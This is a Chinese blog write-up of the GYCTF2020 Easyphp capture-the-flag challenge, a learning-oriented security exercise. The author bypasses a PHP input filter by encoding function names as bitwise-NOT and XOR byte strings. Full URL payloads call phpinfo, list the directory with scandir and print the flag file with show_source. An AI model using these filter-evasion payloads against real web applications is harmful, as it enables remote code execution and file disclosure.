直接给了源码
1 |
|
发现诸多不会的东西,开始上网查。
1.
首先就是这个@$_GET
没见过:@
用于防止出现任何警告或错误信息,好像没什么影响。
2.
正则匹配我才发现这个网址https://regex101.com/太好用勒!
第一个if
过滤了不少呦。特别是过滤了.
,不能字符串拼接了,但是发现没有过滤^
和~
符号,想到取反和异或(但是我还不会),先查查没过滤的函数。
但是怎么查呢,作为一名面向wp
学习的web
手,要积极地看别人的wp
,原来可以调用get_defined_functions()
这个函数,获取所有的内置定义函数,再把正则匹配写上过滤,运行程序出结果。
得到:
bcmul//两个任意精度数字相乘,返回结果
rtrim//移除字符串右侧的空白字符或其他预定义字符
trim//移除字符串两侧的空白字符或其他预定义字符
ltrim//移除字符串左侧的空白字符或其他预定义字符
chr//返回指定的字符
link//建立一个硬连接(不懂)
unlink//删除文件
tan//正切
atan//反正切
atanh//反双曲正切
tanh//双曲正切
intval//获取变量整数值
mail//发送邮件
min//返回最小值
max//返回最大值
一看没什么眼熟的函数就没戏。
3.
strtolower()
函数:把所有字符转换为小写;count_chars()
函数:返回字符串中所用字符的信息(例如,ASCII 字符在字符串中出现的次数,或者某个字符是否已经在字符串中使用过)。
count_chars(string,mode)
string
: 必需。规定要检查的字符串。mode
:可选。规定返回模式。默认是 0。
0 - 数组,ASCII 值为键名,出现的次数为键值
1 - 数组,ASCII 值为键名,出现的次数为键值,只列出出现次数大于 0 的值
2 - 数组,ASCII 值为键名,出现的次数为键值,只列出出现次数等于 0 的值
3 - 字符串,带有所有使用过的不同的字符
4 - 字符串,带有所有未使用过的不同的字符
所以现在我能看懂了,第二个if
要求$_
中用到的字符的小写数量小于等于13
个。
异或绕过
4.
下面就着手异或,很好我果然不会,继续研究别人的wp,好了我会了:
先查看phpinfo()
?_=phpinfo();
?_=(~%8f%97%8f%96%91%99%90)();
然后查看禁用的函数:
disable_functions
:
1 | pcntl_alarm//为进程设置一个alarm闹钟信号 |
可以选用scandir()
函数列目录,用print_r()
函数输出flag
文件。
print_r(scandir('.'));
?_=(~%8f%8d%96%91%8b%a0%8d%d7%8c%9c%9e%91%9b%96%8d%d7%d8%d1%d8));
返回you are so close, omg
下一步就是保证字符种类的个数小于等于13
,可以采取多次异或的方式。
把s,p,n
换掉,相当于使用().;_cinrst^
1 | s = d ^ c ^ t |
1 | s->9b 9c 8b |
print_r
:
1 | ((%9c%8d%96%9c%8b%a0%8d)^(%9e%ff%ff%9b%ff%ff%ff)^(%8d%ff%ff%96%ff%ff%ff)^(%ff%ff%ff%ff%ff%ff%ff)) |
scandir
:
1 | ((%9b%9c%9e%9c%9b%96%8d^(%ff%ff%ff%ff%ff%ff%ff)^(%9c%ff%ff%9b%ff%ff%ff)^(%8b%ff%ff%96%ff%ff%ff)) |
总合一下:
1 | ?_=((%9c%8d%96%9c%8b%a0%8d)^(%9e%ff%ff%9b%ff%ff%ff)^(%8d%ff%ff%96%ff%ff%ff)^(%ff%ff%ff%ff%ff%ff%ff))(((%9b%9c%9e%9c%9b%96%8d)^(%ff%ff%ff%ff%ff%ff%ff)^(%9c%ff%ff%9b%ff%ff%ff)^(%8b%ff%ff%96%ff%ff%ff))((%d1)^(%ff))); |
得到回显:
1 | Array |
最后利用end()
读文件名,show_source
读文件信息。
有字符show_urce(ndai.);
17个,利用:
1 | w = a ^ c ^ u |
1 | w->9c,9e,8a |
show_source
:
1 | ((%8c%97%90%9c%a0%8c%90%8a%97%9c%9a)^(%ff%ff%ff%9e%ff%ff%ff%ff%90%ff%ff)^(%ff%ff%ff%8a%ff%ff%ff%ff%8a%ff%ff)^(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff)) |
end
:
1 | ((%9a%91%97)^(%ff%ff%90)^(%ff%ff%9c)^(%ff%ff%ff)) |
scandir
:
1 | ((%8c%9c%9e%91%97%9c%97)^(%ff%ff%ff%ff%90%9b%90)^(%ff%ff%ff%ff%9c%91%8a)^(%ff%ff%ff%ff%ff%ff%ff)) |
payload
:?_=show_source(end(scandir(.)));
拼一拼得到flag。
参考
https://www.w3school.com.cn/php/func_string_strtolower.asp
Author: suyumen
Link: https://suyumen.github.io/2021/05/01/2021-05-01-[GYCTF2020]Easyphp/
Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.